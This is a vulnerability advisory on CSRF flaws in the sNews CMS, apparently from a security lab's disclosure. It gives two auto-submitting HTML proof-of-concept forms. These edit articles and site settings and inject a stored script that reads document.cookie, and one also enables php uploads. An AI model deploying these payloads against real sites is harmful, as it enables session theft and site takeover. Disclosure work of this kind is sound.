Cross-site Request Forgery (CSRF) Vulnerabilities in sNews

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in sNews which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in sNews
1.1 The vulnerability exists due to insufficient validation of the request origin in snews.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and edit articles. Due to insufficient sanitation of input data in the "text" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/?action=process&task=admin_article&id=2" method="post" name="main" >
<input type="hidden" name="title" value="article title" />
<input type="hidden" name="seftitle" value="sefurl" />
<input type="hidden" name="text" value='article text"><script>alert(document.cookie)</script>' />
<input type="hidden" name="define_category" value="1" />
<input type="hidden" name="publish_article" value="on" />
<input type="hidden" name="position" value="1" />
<input type="hidden" name="description_meta" value="desc" />
<input type="hidden" name="keywords_meta" value="key" />
<input type="hidden" name="display_title" value="on" />
<input type="hidden" name="display_info" value="on" />
<input type="hidden" name="fposting_day" value="29" />
<input type="hidden" name="fposting_month" value="9" />
<input type="hidden" name="fposting_year" value="2010" />
<input type="hidden" name="fposting_hour" value="16" />
<input type="hidden" name="fposting_minute" value="40" />
<input type="hidden" name="task" value="admin_article" />
<input type="hidden" name="edit_article" value="Edit" />
<input type="hidden" name="article_category" value="1" />
<input type="hidden" name="id" value="2" />
</form>
<script>
document.main.submit();
</script>
1.2 The vulnerability exists due to insufficient validation of the request origin in snews.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and edit website settings. Due to insufficient sanitation of input data in the "website_title" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/?action=process&task=save_settings" method="post" name="main" >
<input type="hidden" name="website_title" value='sNews 1.7"><script>alert(document.cookie)</script>'>
<input type="hidden" name="home_sef" value="home">
<input type="hidden" name="website_description" value="sNews CMS">
<input type="hidden" name="website_keywords" value="snews">
<input type="hidden" name="website_email" value="info@mydomain.com">
<input type="hidden" name="contact_subject" value="Contact Form">
<input type="hidden" name="language" value="EN">
<input type="hidden" name="charset" value="UTF-8">
<input type="hidden" name="date_format" value="d.m.Y.+H:i">
<input type="hidden" name="article_limit" value="3">
<input type="hidden" name="rss_limit" value="5">
<input type="hidden" name="display_page" value="0">
<input type="hidden" name="num_categories" value="on">
<input type="hidden" name="file_ext" value="phps,php,txt,inc,htm,html">
<input type="hidden" name="allowed_file" value="php,htm,html,txt,inc,css,js,swf">
<input type="hidden" name="allowed_img" value="gif,jpg,jpeg,png">
<input type="hidden" name="comment_repost_timer" value="20">
<input type="hidden" name="comments_order" value="ASC">
<input type="hidden" name="comment_limit" value="30">
<input type="hidden" name="word_filter_file" value="">
<input type="hidden" name="word_filter_change" value="">
<input type="hidden" name="save" value="Save">
</form>
<script>
document.main.submit();
</script>